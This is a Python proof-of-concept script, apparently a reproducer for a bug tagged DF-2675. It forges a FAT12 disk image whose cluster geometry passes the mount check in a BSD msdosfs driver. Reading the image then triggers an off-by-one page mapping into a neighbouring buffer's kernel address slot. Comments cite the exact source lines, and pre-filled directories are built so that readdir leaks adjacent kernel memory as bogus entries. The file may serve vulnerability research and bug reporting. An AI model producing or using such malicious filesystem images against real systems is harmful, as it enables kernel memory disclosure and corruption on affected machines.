#!/usr/bin/env python3
# DF-2675 image forger: FAT12 with 64KB clusters at non-page-aligned device offsets.
#
# Geometry chosen so that:
#   - pm_bpcluster  = bps*spc = 512*128 = 65536 == MAXBSIZE  (passes the
#                     SecPerClust*BlkPerSec > MAXBSIZE/DEV_BSIZE mount check
#                     at msdosfs_vfsops.c:427 with 128 == 128)
#   - first data cluster begins at DEV_BSIZE block 12 -> byte offset 6144,
#     i.e. (loffset & PAGE_MASK) == 2048 for EVERY directory cluster.
#   => getblk(devvp, 6144 + k*65536, 65536) in msdosfs_read (isadir path,
#      msdosfs_vnops.c:515-522) / msdosfs_lookup / msdosfs_mkdir allocates
#      desiredpages = (2048+65536+4095)>>12 = 17 pages into a 16-page
#      (MAXBSIZE) per-header KVA slot  ->  pmap_qenter writes one PTE into
#      the NEXT buffer header's slot (vfs_bio.c:3212).
#
# D00..D19 are pre-filled directories whose entries run to slot 1983
# (byte offset 63488 = 65536-2048, exactly where the aliased region starts)
# with a SLOT_EMPTY terminator at slot 1984 *inside* the aliased region, so
# a normal readdir stops at 1984, but once the neighbor slot's PTE replaces
# our page-16 mapping, readdir continues into the neighbor's page and leaks
# its bytes as bogus dirents.
import struct, sys

BPS    = 512
SPC    = 128          # sectors per cluster -> 64KB clusters
RESV   = 7
NFATS  = 2
FATSEC = 8            # odd -> first data cluster lands at block 12
ROOTENTS = 16
TOTSEC = 4096
NFILLEDDIRS = 20
FIRSTCLUST_BLK = RESV + NFATS*FATSEC + (ROOTENTS*32 + BPS-1)//BPS  # = 12

def dirent(name, attr, clus, size=0):
    e = bytearray(32)
    n, ext = (name.split('.') + [''])[:2]
    nb = n.upper().ljust(8).encode()
    eb = ext.upper().ljust(3).encode()
    e[0:8] = nb; e[8:11] = eb
    e[11] = attr
    struct.pack_into('<H', e, 26, clus & 0xFFFF)
    struct.pack_into('<I', e, 28, size)
    return bytes(e)

img = bytearray(TOTSEC * BPS)

# ---- boot sector / BPB -------------------------------------------------
img[0:3]  = b'\xEB\x3C\x90'
img[3:11] = b'MSDOS5.0'
struct.pack_into('<H', img, 11, BPS)
img[13] = SPC
struct.pack_into('<H', img, 14, RESV)
img[16] = NFATS
struct.pack_into('<H', img, 17, ROOTENTS)
struct.pack_into('<H', img, 19, TOTSEC)
img[21] = 0xF8
struct.pack_into('<H', img, 22, FATSEC)
struct.pack_into('<H', img, 24, 63)     # sec/track
struct.pack_into('<H', img, 26, 255)    # heads
img[36] = 0x80
img[38] = 0x29
struct.pack_into('<I', img, 39, 0x1337BEEF)
img[43:54] = b'NO NAME    '
img[54:62] = b'FAT12   '
img[510:512] = b'\x55\xAA'

# ---- FAT12 --------------------------------------------------------------
nentries = (TOTSEC - FIRSTCLUST_BLK)//SPC + 3
fat = bytearray(FATSEC * BPS)
def set12(i, val):
    n = (i * 3) // 2
    if i % 2 == 0:
        fat[n] = val & 0xFF
        fat[n+1] = (fat[n+1] & 0xF0) | ((val >> 8) & 0x0F)
    else:
        fat[n] = (fat[n] & 0x0F) | ((val << 4) & 0xF0)
        fat[n+1] = (val >> 4) & 0xFF
set12(0, 0xFF8)   # media
set12(1, 0xFFF)
for c in range(2, 2 + NFILLEDDIRS):
    set12(c, 0xFFF)   # EOF: one cluster per directory
for f in range(NFATS):
    off = (RESV + f*FATSEC) * BPS
    img[off:off+len(fat)] = fat

# ---- root directory ------------------------------------------------------
rootoff = (RESV + NFATS*FATSEC) * BPS
for i in range(NFILLEDDIRS):
    img[rootoff + i*32 : rootoff + i*32 + 32] = dirent('D%02d' % i, 0x10, 2 + i)

# ---- filled directory clusters -------------------------------------------
for i in range(NFILLEDDIRS):
    off = (FIRSTCLUST_BLK + i*SPC) * BPS
    assert off % BPS == 0
    img[off:off+32]   = dirent('.',  0x10, 2 + i)          # self
    img[off+32:off+64] = dirent('..', 0x10, 0)             # root (FAT12)
    # slots 2..1983 = F0000..F1981 ; slot 1984 (offset 63488) = SLOT_EMPTY
    for s in range(2, 1984):
        e = dirent('F%04d' % (s - 2), 0x20, 0)
        img[off + s*32 : off + s*32 + 32] = e
    img[off + 1984*32] = 0x00   # terminator inside the aliased region

out = sys.argv[1] if len(sys.argv) > 1 else 'fat64k.img'
with open(out, 'wb') as f:
    f.write(img)
print('wrote %s (%d bytes): first data cluster block %d byte-off %d xoff %d, '
      'cluster size %d, filled dirs %d, alias region starts at cluster byte %d'
      % (out, len(img), FIRSTCLUST_BLK, FIRSTCLUST_BLK*BPS,
         FIRSTCLUST_BLK*BPS % 4096, SPC*BPS, NFILLEDDIRS, 65536 - (FIRSTCLUST_BLK*BPS % 4096)))
